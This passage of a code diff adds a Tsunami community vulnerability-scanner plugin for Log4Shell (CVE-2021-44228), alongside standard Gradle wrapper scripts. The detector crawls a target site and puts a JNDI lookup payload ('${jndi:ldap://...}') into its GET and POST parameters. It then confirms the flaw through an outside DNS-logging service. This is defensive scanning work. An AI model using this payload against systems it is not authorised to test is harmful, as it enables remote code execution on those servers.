Gradle start up script for UN*X +## +############################################################################## + +# Attempt to set APP_HOME +# Resolve links: $0 may be a link +PRG="$0" +# Need this for relative symlinks. +while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG=`dirname "$PRG"`"/$link" + fi +done +SAVED="`pwd`" +cd "`dirname \"$PRG\"`/" >/dev/null +APP_HOME="`pwd -P`" +cd "$SAVED" >/dev/null + +APP_NAME="Gradle" +APP_BASE_NAME=`basename "$0"` + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD="maximum" + +warn () { + echo "$*" +} + +die () { + echo + echo "$*" + echo + exit 1 +} + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "`uname`" in + CYGWIN* ) + cygwin=true + ;; + Darwin* ) + darwin=true + ;; + MINGW* ) + msys=true + ;; + NONSTOP* ) + nonstop=true + ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD="java" + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then + MAX_FD_LIMIT=`ulimit -H -n` + if [ $? -eq 0 ] ; then + if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then + MAX_FD="$MAX_FD_LIMIT" + fi + ulimit -n $MAX_FD + if [ $? -ne 0 ] ; then + warn "Could not set maximum file descriptor limit: $MAX_FD" + fi + else + warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" + fi +fi + +# For Darwin, add options to specify how the application appears in the dock +if $darwin; then + GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" +fi + +# For Cygwin or MSYS, switch paths to Windows format before running java +if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then + APP_HOME=`cygpath --path --mixed "$APP_HOME"` + CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` + + JAVACMD=`cygpath --unix "$JAVACMD"` + + # We build the pattern for arguments to be converted via cygpath + ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` + SEP="" + for dir in $ROOTDIRSRAW ; do + ROOTDIRS="$ROOTDIRS$SEP$dir" + SEP="|" + done + OURCYGPATTERN="(^($ROOTDIRS))" + # Add a user-defined pattern to the cygpath arguments + if [ "$GRADLE_CYGPATTERN" != "" ] ; then + OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" + fi + # Now convert the arguments - kludge to limit ourselves to /bin/sh + i=0 + for arg in "$@" ; do + CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` + CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option + + if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition + eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` + else + eval `echo args$i`="\"$arg\"" + fi + i=`expr $i + 1` + done + case $i in + 0) set -- ;; + 1) set -- "$args0" ;; + 2) set -- "$args0" "$args1" ;; + 3) set -- "$args0" "$args1" "$args2" ;; + 4) set -- "$args0" "$args1" "$args2" "$args3" ;; + 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; + 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; + 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; + 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; + 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; + esac +fi + +# Escape application args +save () { + for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done + echo " " +} +APP_ARGS=`save "$@"` + +# Collect all arguments for the java command, following the shell quoting and substitution rules +eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" + +exec "$JAVACMD" "$@" diff --git a/community/detectors/log4j_rce/gradlew.bat b/community/detectors/log4j_rce/gradlew.bat new file mode 100644 index 000000000..5093609d5 --- /dev/null +++ b/community/detectors/log4j_rce/gradlew.bat @@ -0,0 +1,104 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto init + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto init + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:init +@rem Get command-line arguments, handling Windows variants + +if not "%OS%" == "Windows_NT" goto win9xME_args + +:win9xME_args +@rem Slurp the command line arguments. +set CMD_LINE_ARGS= +set _SKIP=2 + +:win9xME_args_slurp +if "x%~1" == "x" goto execute + +set CMD_LINE_ARGS=%* + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/community/detectors/log4j_rce/settings.gradle b/community/detectors/log4j_rce/settings.gradle new file mode 100644 index 000000000..f10d75913 --- /dev/null +++ b/community/detectors/log4j_rce/settings.gradle @@ -0,0 +1,2 @@ +rootProject.name = 'CVE-2021-44228' + diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228DetectorBootstrapModule.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228DetectorBootstrapModule.java new file mode 100644 index 000000000..38a1ac761 --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228DetectorBootstrapModule.java @@ -0,0 +1,31 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228; + +import com.google.tsunami.plugin.PluginBootstrapModule; +import com.google.tsunami.plugins.detectors.cves.cve202144228.crawl.SimpleCrawlerModule; + +/** + * An CVE-2021-44228 Guice module that bootstraps the {@link Cve202144228VulnDetector}. + */ +public final class Cve202144228DetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + install(new SimpleCrawlerModule(/*maxActiveThreads=*/ 8)); + registerPlugin(Cve202144228VulnDetector.class); + } +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VulnDetector.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VulnDetector.java new file mode 100644 index 000000000..8e3e2ecf2 --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VulnDetector.java @@ -0,0 +1,374 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.COOKIE; +import static com.google.common.net.HttpHeaders.SET_COOKIE; +import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; +import static java.nio.charset.StandardCharsets.UTF_8; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.collect.ImmutableSet; +import com.google.common.flogger.GoogleLogger; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugins.detectors.cves.cve202144228.crawl.Crawler; +import com.google.tsunami.plugins.detectors.cves.cve202144228.crawl.ScopeUtils; +import com.google.tsunami.proto.CrawlConfig; +import com.google.tsunami.proto.CrawlResult; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.net.URLEncoder; +import java.time.Clock; +import java.time.Instant; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.inject.Inject; + +/** + * A {@link VulnDetector} that detects the CVE-2021-44228 vulnerability. + */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "CVE202144228VulnDetector", + version = "0.1", + description = + "Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters " + + "do not protect against attacker controlled LDAP and other JNDI related endpoints. " + + "An attacker who can control log messages or log message parameters can execute " + + "arbitrary code loaded from LDAP servers when message lookup substitution is enabled." + + " From log4j 2.15.0, this behavior has been disabled by default. ", + author = "hh-hunter", + bootstrapModule = Cve202144228DetectorBootstrapModule.class) +public final class Cve202144228VulnDetector implements VulnDetector { + + public static String OOB_DOMAIN = ""; + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private static int MAX_TRY_GET_OOB_DOMAIN = 6; + private static String PHP_SESSION = ""; + private static String PAYLOAD = "${jndi:ldap://tsunami.OOB_DOMAIN/}"; + + @VisibleForTesting + static final String VULN_DESCRIPTION = + "Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do" + + " not protect against attacker controlled LDAP and other JNDI related endpoints. An " + + "attacker who can control log messages or log message parameters can execute arbitrary" + + " code loaded from LDAP servers when message lookup substitution is enabled. From log4j" + + " 2.15.0, this behavior has been disabled by default."; + + private final HttpClient httpClient; + private final Clock utcClock; + private final Crawler crawler; + + @Inject + Cve202144228VulnDetector(@UtcClock Clock utcClock, HttpClient httpClient, Crawler crawler) { + this.httpClient = checkNotNull(httpClient); + this.utcClock = checkNotNull(utcClock); + this.crawler = checkNotNull(crawler); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("CVE-2021-44228 starts detecting."); + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(Cve202144228VulnDetector::isWebServiceOrUnknownService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + String startingUrl = buildTargetUrl(networkService, ""); + ImmutableSet crawlResults = crawlNetworkService(startingUrl, networkService); + if (crawlResults.size() > 0) { + initOOBDomain(); + } + if ("".equals(OOB_DOMAIN)) { + return false; + } + + for (CrawlResult crawlResult : crawlResults) { + if ("GET".equals(crawlResult.getCrawlTargetOrBuilder().getHttpMethod())) { + List nextUris = buildNextGetUris(startingUrl, + crawlResult.getCrawlTargetOrBuilder().getUrl()); + if (checkGetVulnerable(networkService, nextUris)) { + return true; + } + } + if ("POST".equals(crawlResult.getCrawlTargetOrBuilder().getHttpMethod())) { + // todo: getHttpRequestBody is always empty, which may be a bug. + logger.atInfo() + .log(crawlResult.getCrawlTargetOrBuilder().getHttpRequestBody().toStringUtf8()); + Map> nextPostUris = buildNextPostUris(startingUrl, + crawlResult.getCrawlTargetOrBuilder().getUrl(), + crawlResult.getCrawlTargetOrBuilder().getHttpRequestBody().toStringUtf8()); + if (checkPostVulnerable(networkService, nextPostUris)) { + return true; + } + } + } + return false; + } + + /** + * Check for vulnerabilities using GET method + * + * @param networkService + * @param nextUriList + * @return + */ + private boolean checkGetVulnerable(NetworkService networkService, List nextUriList) { + return nextUriList.stream().anyMatch(item -> { + String targetUrl = buildTargetUrl(networkService, item); + try { + httpClient.send(HttpRequest.get(targetUrl).withEmptyHeaders().build(), networkService); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Request to target %s failed", networkService); + } + return checkOOBData(); + }); + } + + /** + * Check for vulnerabilities using POST method + * + * @param networkService + * @param nextUriList + * @return + */ + private boolean checkPostVulnerable(NetworkService networkService, + Map> nextUriList) { + return nextUriList.entrySet().stream().anyMatch(item -> { + String uri = item.getKey(); + List postDataList = nextUriList.get(item.getKey()); + String targetUrl = buildTargetUrl(networkService, uri); + return postDataList.stream().anyMatch(postData -> { + try { + System.out.println(targetUrl + "\t\t" + postData); + httpClient.send(HttpRequest.post(targetUrl).setRequestBody( + ByteString.copyFromUtf8(postData)).withEmptyHeaders().build(), + networkService); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Request to target %s failed", networkService); + } + return checkOOBData(); + }); + }); + } + + public void initOOBDomain() { + try { + if ("".equals(OOB_DOMAIN)) { + HttpResponse response = httpClient + .send(HttpRequest.get("http://www.dnslog.cn/getdomain.php").withEmptyHeaders().build()); + if (HttpStatus.OK.equals(response.status())) { + OOB_DOMAIN = response.bodyString().get(); + PAYLOAD = PAYLOAD.replace("OOB_DOMAIN", OOB_DOMAIN); + PHP_SESSION = response.headers().get(SET_COOKIE).get().replace("path=/", ""); + logger.atInfo().log("Request oob domain %s success", OOB_DOMAIN); + } + } + } catch (IOException e) { + if (e.getMessage().contains("timeout") && MAX_TRY_GET_OOB_DOMAIN > 0) { + logger.atWarning().log("Request to oob domain timeout,retrying..."); + MAX_TRY_GET_OOB_DOMAIN = MAX_TRY_GET_OOB_DOMAIN - 1; + initOOBDomain(); + } else { + logger.atWarning().withCause(e).log("Request to oob domain failed"); + } + } + } + + /** + * Check if the oob service has dns requests + * + * @return + */ + private boolean checkOOBData() { + try { + MAX_TRY_GET_OOB_DOMAIN = 3; + Thread.sleep(10000); + // dnslog is not stable + HttpResponse response = httpClient + .send(HttpRequest.get("http://www.dnslog.cn/getrecords.php").setHeaders( + HttpHeaders.builder().addHeader(COOKIE, PHP_SESSION).build()).build()); + if (HttpStatus.OK.equals(response.status()) && response.bodyString().get() + .contains("tsunami")) { + return true; + } + } catch (Exception e) { + if (e.getMessage().contains("timeout") && MAX_TRY_GET_OOB_DOMAIN > 0) { + logger.atWarning().log("Check oob domain result timeout,retrying..."); + MAX_TRY_GET_OOB_DOMAIN = MAX_TRY_GET_OOB_DOMAIN - 1; + checkOOBData(); + } else { + logger.atWarning().withCause(e).log("Check oob domain result failed"); + } + } + return false; + } + + /** + * Construct a list of URIs to be detected next, replacing the values of the parameters with + * payload for the GET method + * + * @param startingUrl start url + * @param url crawler result url + * @return + */ + private Map> buildNextPostUris(String startingUrl, String url, + String postData) { + Map> nextPostDataList = new HashMap<>(); + List postDataList = new ArrayList<>(); + try { + String[] data = postData.split("&"); + for (String str : data) { + if (str.contains("=") && str.split("=").length == 2) { + String strKey = str.split("=")[0]; + String newData = strKey + "=" + URLEncoder.encode(PAYLOAD, UTF_8.toString()); + postDataList.add(newData); + } + } + } catch (UnsupportedEncodingException e) { + logger.atWarning().withCause(e).log("build target %s next post data failed", url); + } + List nextPostUris = buildNextGetUris(startingUrl, url); + nextPostUris.forEach(postUri -> { + nextPostDataList.put(postUri, postDataList); + }); + + return nextPostDataList; + } + + /** + * Construct a list of URIs to be detected next, replacing the values of the parameters with + * payload for the GET method + * + * @param startingUrl start url + * @param url crawler result url + * @return + */ + private List buildNextGetUris(String startingUrl, String url) { + List nextUriList = new ArrayList<>(); + try { + String query = url.replace(startingUrl, ""); + String[] queryStrings = query.split("&"); + for (String queryString : queryStrings) { + if (queryString.contains("=") && queryString.split("=").length == 2) { + String queryStringKey = queryString.split("=")[0]; + String newQueryString = queryStringKey + "=" + + URLEncoder.encode(PAYLOAD, UTF_8.toString()); + String uri = query.replace(queryString, newQueryString); + nextUriList.add(uri); + } + } + } catch (UnsupportedEncodingException e) { + logger.atWarning().withCause(e).log("build target %s next get uris failed", url); + } + return nextUriList; + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_44228")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2021-44228 Apache Log4j2 <=2.14.1 JNDI RCE") + .setRecommendation( + "In previous releases (>=2.10) this behavior can be mitigated by setting system" + + " property \"log4j2.formatMsgNoLookups\" to “true” or by removing the " + + "JndiLookup class from the classpath " + + "(example: zip -q -d log4j-core-*.jar " + + "org/apache/logging/log4j/core/lookup/JndiLookup.class). " + + "Java 8u121 (see " + + "https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) " + + "protects against RCE by defaulting " + + "\"com.sun.jndi.rmi.object.trustURLCodebase\" and " + + "\"com.sun.jndi.cosnaming.object.trustURLCodebase\" to \"false\".") + .setDescription(VULN_DESCRIPTION)) + .build(); + } + + private static boolean isWebServiceOrUnknownService(NetworkService networkService) { + return networkService.getServiceName().isEmpty() + || NetworkServiceUtils.isWebService(networkService) + || NetworkServiceUtils.getServiceName(networkService).equals("unknown"); + } + + private static String buildTargetUrl(NetworkService networkService, String nextUri) { + StringBuilder targetUrlBuilder = new StringBuilder(); + if (NetworkServiceUtils.isWebService(networkService)) { + targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); + } else { + // Assume the service uses HTTP protocol when the scanner cannot identify the actual service. + targetUrlBuilder + .append("http://") + .append(toUriAuthority(networkService.getNetworkEndpoint())) + .append("/"); + } + targetUrlBuilder.append(nextUri); + return targetUrlBuilder.toString(); + } + + private ImmutableSet crawlNetworkService(String seedingUrl, + NetworkService networkService) { + CrawlConfig crawlConfig = + CrawlConfig.newBuilder() + .addScopes(ScopeUtils.fromUrl(seedingUrl)) + .setShouldEnforceScopeCheck(true) + .addSeedingUrls(seedingUrl) + .setMaxDepth(10) + .setNetworkService(networkService) + .build(); + return crawler.crawl(crawlConfig); + } +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlConfigUtils.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlConfigUtils.java new file mode 100644 index 000000000..945098e1d --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlConfigUtils.java @@ -0,0 +1,44 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import static com.google.common.collect.ImmutableList.toImmutableList; + +import com.google.tsunami.proto.CrawlConfig; +import com.google.tsunami.proto.CrawlTarget; + +/** Static utility methods pertaining to {@link CrawlConfig} proto buffer. */ +final class CrawlConfigUtils { + private CrawlConfigUtils() {} + + static CrawlConfig createDefaultScopesIfAbsent(CrawlConfig crawlConfig) { + if (crawlConfig.getScopesCount() > 0) { + return crawlConfig; + } + + return CrawlConfig.newBuilder(crawlConfig) + .addAllScopes( + crawlConfig.getSeedingUrlsList().stream() + .map(ScopeUtils::fromUrl) + .collect(toImmutableList())) + .build(); + } + + static boolean isCrawlTargetInScope(CrawlConfig crawlConfig, CrawlTarget crawlTarget) { + return !crawlConfig.getShouldEnforceScopeCheck() || crawlConfig.getScopesList().stream() + .anyMatch(scope -> ScopeUtils.isInScope(scope, crawlTarget.getUrl())); + } +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlTargetUtils.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlTargetUtils.java new file mode 100644 index 000000000..38944cf01 --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlTargetUtils.java @@ -0,0 +1,165 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import static com.google.common.collect.ImmutableSet.toImmutableSet; +import static com.google.common.net.HttpHeaders.CONTENT_LOCATION; +import static com.google.common.net.HttpHeaders.LINK; +import static com.google.common.net.HttpHeaders.LOCATION; + +import com.google.common.base.Ascii; +import com.google.common.base.Strings; +import com.google.common.collect.ImmutableSet; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpMethod; +import com.google.tsunami.proto.CrawlTarget; +import java.util.Optional; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import okhttp3.HttpUrl; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; +import org.jsoup.nodes.Element; +import org.jsoup.nodes.FormElement; + +/** Static utility methods pertaining to {@link CrawlTarget} proto buffer. */ +public final class CrawlTargetUtils { + private static final ImmutableSet LINK_ATTRIBUTES = + ImmutableSet.of( + // HTML 4 link attributes. + "action", + "archive", + "background", + "cite", + "codebase", + "data", + "href", + "longdesc", + "profile", + "src", + // HTML 5 link attributes. + "formaction", + "manifest", + "poster", + "srcdoc", + "ping"); + // URI in LINK header must be present between characters < and > + // (https://tools.ietf.org/html/rfc5988#section-5). + private static final Pattern LINK_URL_PATTERN = Pattern.compile("<(?[^>]+)>"); + + private CrawlTargetUtils() {} + + public static ImmutableSet extractFromHeaders( + HttpHeaders httpHeaders, HttpUrl baseUrl) { + return httpHeaders.names().stream() + .filter(CrawlTargetUtils::isRedirectHeader) + .flatMap( + headerName -> + getUrlsFromHeader(headerName, httpHeaders.getAll(headerName), baseUrl).stream()) + .map( + url -> + CrawlTarget.newBuilder() + .setUrl(url.toString()) + .setHttpMethod(HttpMethod.GET.toString()) + .build()) + .collect(toImmutableSet()); + } + + private static boolean isRedirectHeader(String headerName) { + return Ascii.equalsIgnoreCase(headerName, LOCATION) + || Ascii.equalsIgnoreCase(headerName, CONTENT_LOCATION) + || Ascii.equalsIgnoreCase(headerName, LINK); + } + + private static ImmutableSet getUrlsFromHeader( + String headerName, Iterable headerValues, HttpUrl baseUrl) { + ImmutableSet.Builder urlsBuilder = ImmutableSet.builder(); + + if (Ascii.equalsIgnoreCase(headerName, LOCATION) + || Ascii.equalsIgnoreCase(headerName, CONTENT_LOCATION)) { + for (String headerValue : headerValues) { + Optional.ofNullable(baseUrl.resolve(headerValue)).ifPresent(urlsBuilder::add); + } + } + + if (Ascii.equalsIgnoreCase(headerName, LINK)) { + for (String headerValue : headerValues) { + Matcher linkUrlMatcher = LINK_URL_PATTERN.matcher(headerValue); + while (linkUrlMatcher.find()) { + Optional.ofNullable(linkUrlMatcher.group("url")) + .flatMap(linkUrl -> Optional.ofNullable(baseUrl.resolve(linkUrl))) + .ifPresent(urlsBuilder::add); + } + } + } + + return urlsBuilder.build(); + } + + /** Extracts all links from an HTML page and wraps them into {@link CrawlTarget} messages. */ + public static ImmutableSet extractFromHtml(String document, HttpUrl baseUrl) { + return extractFromHtml(Jsoup.parse(document), baseUrl); + } + + /** Extracts all links from an HTML page and wraps them into {@link CrawlTarget} messages. */ + public static ImmutableSet extractFromHtml(Document document, HttpUrl baseUrl) { + HttpUrl effectiveBaseUrl = effectiveHtmlBaseUrl(document, baseUrl); + ImmutableSet.Builder crawlTargetsBuilder = ImmutableSet.builder(); + + for (String linkAttr : LINK_ATTRIBUTES) { + // Ignore base tags that are handled separately. + for (Element matchingElement : document.select(String.format("[%s]:not(base)", linkAttr))) { + // Ignore empty links from the HTML document. + String linkAttrValue = matchingElement.attr(linkAttr); + if (Strings.isNullOrEmpty(linkAttrValue)) { + continue; + } + + Optional.ofNullable(effectiveBaseUrl.resolve(linkAttrValue)) + .ifPresent( + httpUrl -> + crawlTargetsBuilder.add( + CrawlTarget.newBuilder() + .setHttpMethod(getHttpMethodForLink(matchingElement).toString()) + .setUrl(httpUrl.toString()) + .build())); + } + } + + return crawlTargetsBuilder.build(); + } + + private static HttpUrl effectiveHtmlBaseUrl(Document document, HttpUrl fallbackUrl) { + Optional baseHref = + Optional.ofNullable(document.select("base[href]").first()) + .flatMap(element -> Optional.ofNullable(HttpUrl.parse(element.attr("href")))); + + if (baseHref.isPresent() && !Strings.isNullOrEmpty(baseHref.get().host())) { + return baseHref.get(); + } + + return fallbackUrl; + } + + private static HttpMethod getHttpMethodForLink(Element element) { + if (element instanceof FormElement + && Ascii.equalsIgnoreCase(element.attr("method"), HttpMethod.POST.toString())) { + return HttpMethod.POST; + } else { + return HttpMethod.GET; + } + } +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlUtils.java 